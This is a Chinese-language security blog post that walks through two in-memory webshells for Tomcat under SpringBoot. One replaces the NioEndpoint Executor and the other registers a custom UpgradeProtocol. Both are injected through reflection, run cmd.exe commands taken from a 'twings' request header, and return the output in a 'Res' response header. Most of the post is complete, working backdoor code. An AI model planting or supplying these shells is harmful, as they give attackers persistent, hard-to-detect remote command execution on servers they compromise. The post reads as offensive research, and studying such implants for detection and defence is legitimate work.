前言

无。


环境搭建

跟上一篇一样,还是SpringBoot。

Executor内存马

跟filter shell类似的实现方式,用于接受HTTP请求的NioEndpoint对象会调用其父类的processSocket函数,其关键代码如下:

Executor executor = getExecutor();
if (dispatch && executor != null) {
    executor.execute(sc);
} else {
    sc.run();
}

而getExecutor函数直接从本对象中取出executor:

public Executor getExecutor() { 
  return executor; 
}

我们可以通过将这个executor替换为我们自己实现的子类的方式注入shell,也不会影响正常使用。

首先要想办法从Thread中找到这个NioEndpoint,调试发现Thread.currentThread()拿到的不是放有NioEndpoint对象的线程,那就先把所有线程拿出来:

Field f = ThreadGroup.class.getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());

调试可以得到NioEndpoint所属线程名为http-nio-8080-Poller:

然后反射几次拿到NioEndpoint:

NioEndpoint nioEndpoint = null;
for (Thread thread: threads) {
    if (thread.getName().contains("http") && thread.getName().contains("Poller")) {
        f = Thread.class.getDeclaredField("target");
        f.setAccessible(true);
        Object pollor = f.get(thread);
        f = pollor.getClass().getDeclaredField("this$0");
        f.setAccessible(true);
        nioEndpoint = (NioEndpoint)f.get(pollor);
        break;
    }
}

先写一个简单的自定义Executor:

class ShellExecutor extends ThreadPoolExecutor {
    public ShellExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }

    @Override
    public void execute(Runnable command) {
        super.execute(command);
    }
}

再将我们的Executor设置进去:

if (nioEndpoint == null) {
    return;
}
ThreadPoolExecutor executor = (ThreadPoolExecutor)nioEndpoint.getExecutor();
if (executor instanceof ShellExecutor) {
    return;
}
nioEndpoint.setExecutor(new ShellExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(),
        executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(),
        executor.getThreadFactory(), executor.getRejectedExecutionHandler()));

调试一下看到流程没有问题,我们的executor也能正常触发,接下来开始编写Executor中的命令接收、命令执行和结果回显部分,根据参考文章,我们可以从NioEndpoint-nioChannels-appReadBufHandler-Buffer里面找到request数据:

比较奇怪的一点是nioChannels里的数据并不稳定,不一定会存在我们需要的NioChannels,我们需要再找找有没有其他地方还保存有request数据。通过调试可以看到execute的参数command对象中可以通过socketWrapper-socket-appReadBufHandler的方式找到我们需要的数据:

截一下字符串然后命令执行:

Field f = command.getClass().getSuperclass().getDeclaredField("socketWrapper");
f.setAccessible(true);
SocketWrapperBase<?> socketWrapper = (SocketWrapperBase<?>)f.get(command);
NioChannel socket = (NioChannel)socketWrapper.getSocket();
f = NioChannel.class.getDeclaredField("appReadBufHandler");
f.setAccessible(true);
Http11InputBuffer appReadBufHandler = (Http11InputBuffer)f.get(socket);
String request = new String(appReadBufHandler.getByteBuffer().array(), StandardCharsets.UTF_8);
if (request.contains("twings:")) {
    String c = request.substring(request.indexOf("twings:") + "twings:".length(),
            request.indexOf("\r", request.indexOf("twings:")) - 1);
    String[] cmd = new String[]{"cmd.exe", "/c", c};
    byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
    System.out.println(new String(result));
}

最后就是把执行结果打印出来,根据参考文章我们可以根据request和response的嵌套关系,找到response然后将结果放到响应头中。我们找一找request,可以在command-socketWrapper-endpoint-handler-global-processors-req找到:

继续反射把它拿出来:

f = socketWrapper.getClass().getSuperclass().getDeclaredField("endpoint");
f.setAccessible(true);
NioEndpoint nioEndpoint = (NioEndpoint)f.get(socketWrapper);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo)nioEndpoint.getHandler().getGlobal();
f = RequestGroupInfo.class.getDeclaredField("processors");
f.setAccessible(true);
List<?> processors = (List<?>)f.get(requestGroupInfo);
RequestInfo requestInfo = (RequestInfo)processors.get(0);
f = RequestInfo.class.getDeclaredField("req");
f.setAccessible(true);
Request request = (Request)f.get(requestInfo);
Response response = request.getResponse();
response.addHeader("Res", new String(result, StandardCharsets.UTF_8));

最后结果:

Processor内存马

根据参考文章,找到Http11Processor类的service函数,当请求存在connection和Upgrade请求头时会做相应处理:

if (isConnectionToken(request.getMimeHeaders(), "upgrade")) {
    // Check the protocol
    String requestedProtocol = request.getHeader("Upgrade");

    UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol);
    if (upgradeProtocol != null) {
        if (upgradeProtocol.accept(request)) {
            ...  
        }   
    }
}

根据Upgrade请求头获取对应的UpgradeProtocol,并调用其accept函数。先看看这个isConnectionToken函数要怎么满足:

private static boolean isConnectionToken(MimeHeaders headers, String token) throws IOException {
    MessageBytes connection = headers.getValue(Constants.CONNECTION);
    if (connection == null) {
        return false;
    }

    Set<String> tokens = new HashSet<>();
    TokenList.parseTokenList(headers.values(Constants.CONNECTION), tokens);
    return tokens.contains(token);
}

调试可知只要connection请求头的值为upgrade就可以,再看看这个getUpgradeProtocol函数是怎么找UpgradeProtocol的,这里的protocol是一个Http11NioProtocol对象,其父类AbstractHttp11Protocol的getUpgradeProtocol函数如下:

@Override
public UpgradeProtocol getUpgradeProtocol(String upgradedName) {
    return httpUpgradeProtocols.get(upgradedName);
}

httpUpgradeProtocols是一个HashMap,简单来说就是根据Upgrade请求头的值从这个HashMap中找到对应的UpgradeProtocol。所以只要我们能像添加filter shell一样向这里添加一个自定义UpgradeProtocol就能完成内存马,AbstractHttp11Protocol里面没有合适的可以直接调用的向里面put东西的函数,所以我们还是得借助反射。

老样子,先看看怎么找到这个Http11NioProtocol对象,我们翻翻Thread.currentThread()看看,调试调用栈,可以看到NioEndpoint里面能找到这个对象:

找到它然后添加一个自定义ShellProcessor进去:

AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler();
f = handler.getClass().getDeclaredField("proto");
f.setAccessible(true);
Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler);
f = Http11NioProtocol.class.getSuperclass().getSuperclass().getDeclaredField("httpUpgradeProtocols");
f.setAccessible(true);
HashMap<String, ShellProcessor> httpUpgradeProtocols = (HashMap<String, ShellProcessor>)f.get(http11NioProtocol);
if (httpUpgradeProtocols.containsKey("twings")) {
    return;
}
httpUpgradeProtocols.put("twings", new ShellProcessor());

由于accept函数自带一个request参数,所以取命令就很简单了:

@Override
public boolean accept(Request request) {
    try {
        String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")};
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        Response response = request.getResponse();
        response.addHeader("Res", new String(result, StandardCharsets.UTF_8));
    }catch (Exception e) {
        // pass
    }
    return false;
}

结果看起来也没什么问题:


参考

Executor内存马

Processor内存马


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Java Native 源码观摩
Java Tomcat Filter 内存马